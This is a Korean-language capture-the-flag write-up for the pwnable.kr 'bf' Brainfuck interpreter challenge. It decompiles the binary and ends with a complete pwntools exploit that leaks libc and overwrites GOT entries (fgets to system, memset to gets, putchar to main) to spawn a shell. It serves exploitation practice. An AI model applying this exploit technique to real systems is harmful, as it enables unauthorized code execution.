1. 문제 확인
I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so
Running at : nc pwnable.kr 9001
- 간단한 brain-fuck 에뮬레이션 프로그램을 만들었는데 [ ] 안에 들어갈 명령어를 아직 구현하지 못했음
- 그래서 버그를 찾아서 쉘을 따라고 함
1) mitigation 확인
2) 문제 확인
- ??? 뭘까
3) 코드흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char s[1024]; // [esp+2Ch] [ebp-408h]
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, 0x400u);
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
return 0;
}
- fgets()로 s에 입력 값을 받고 do_brainfuck()의 인자로 들어간다.(1byte씩)
- 그리고 전역변수 p에 전역변수 tape의 주소 값이 들어간다.
3-2) do_brainfuck()
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case 'Z':
return result;
case '<':
result = p-- - 1;
break;
case '>':
result = p++ + 1;
break;
case '[':
result = puts("[ and ] not supported.");
break;
}
return result;
}
- 유효한 명령어는 총 6개다. 그렇게 복잡하지 않다.
+
: ++*p
,
: *p = getchar()
-
: --*p
.
: putchar(*p)
<
: p -= 1
>
: p += 1
2. 접근 방법
브레인퍽(Brainfuck)
- 우어반 뮐러가 1993년에 만든 최소주의 컴퓨터 프로그래밍
- 총 8개의 명령어로 구성되어 있음
- 난해한 프로그래밍 언어
각 명령어에 대한 내용은 다음 글을 참고)
*p를 이용해가지고 요리조리 뭐하면 될 것같다. 게다가 partial relro이니깐 got overwrite 쌉가능
3. 문제 풀이
첨에 시행착오가 있었따... (오랜만에 포너블 문제풀어서 그런가)
putchar()의 got를 system함수로 바꾸고 *p에 "/bin/sh"문자열을 넣었는데 안되길레 보니깐 ㅋㅋㅋputchar() 1byte가져와서 못함....
그래서 그 다음 생각한 방법이 예전에 fgets() got overwrite하고 "/bin/sh"문자열 넣었던게 생각나서 이 방법을 이용하기로 했따.
먼저, libc leak을 한다. 그리고 memset@got 를 gets로 변경하고 fgets@got를 system으로 변경한 다음 마지막으로 putchar@got를 main()로 변경한다.
그러면 다시 main()로 돌아와서 gets로 입력받을 때 "/bin/sh"을 입력해줌 끝
1) 익스코드
from pwn import *
context(log_level = "debug", os = "linux", arch = "i386")
#p = process("./bf")
p = remote("pwnable.kr", 9001)
e = ELF("./bf")
libc = ELF("bf_libc.so")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#gdb.attach(p)
main_addr = e.symbols['main']
fgets_got = e.got['fgets']
memset_got = e.got['memset']
putchar_got = e.got['putchar']
fgets_offset = libc.symbols['fgets']
gets_offset = libc.symbols['gets']
system_offset = libc.symbols['system']
var_p = 0x804a080
var_tape = 0x804a0a0
binsh = "/bin/sh\0"
# 1. libc leak
if var_tape > fgets_got:
payload = "<" * (var_tape - fgets_got)
else:
payload = ">" * (var_tape + fgets_got)
payload += ".>" * 4
payload += "<" * 4
# overwrite fgets -> system
payload += ",>" * 4
payload += "<" * 4
# 2. overwrite memset -> gets
if fgets_got > memset_got:
payload += "<" * (fgets_got - memset_got)
else:
payload += ">" * (memset_got - fgets_got)
payload += ",>" * 4
payload += "<" * 4
# 3. overwrite and go to main()
if memset_got > putchar_got:
payload += "<" * (memset_got - putchar_got)
else:
payload += ">" * (putchar_got - memset_got)
payload += ",>" * 4
payload += "<" * 4
payload += "."
p.sendlineafter("[ ]\n", payload)
sleep(3)
fgets_addr = u32(p.recv())
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
gets_addr = libc_base + gets_offset
log.info("fgets_addr : "+hex(fgets_addr))
log.info("libc base : "+hex(libc_base))
log.info("system_addr : "+hex(system_addr))
log.info("gets_addr : "+hex(gets_addr))
log.info("main_addr : " +hex(main_addr))
p.send(p32(system_addr))
p.send(p32(gets_addr))
p.send(p32(main_addr))
p.sendlineafter("[ ]\n", binsh)
p.interactive()
2) 실행결과
4. 몰랐던 개념
Uploaded by Notion2Tistory v1.1.0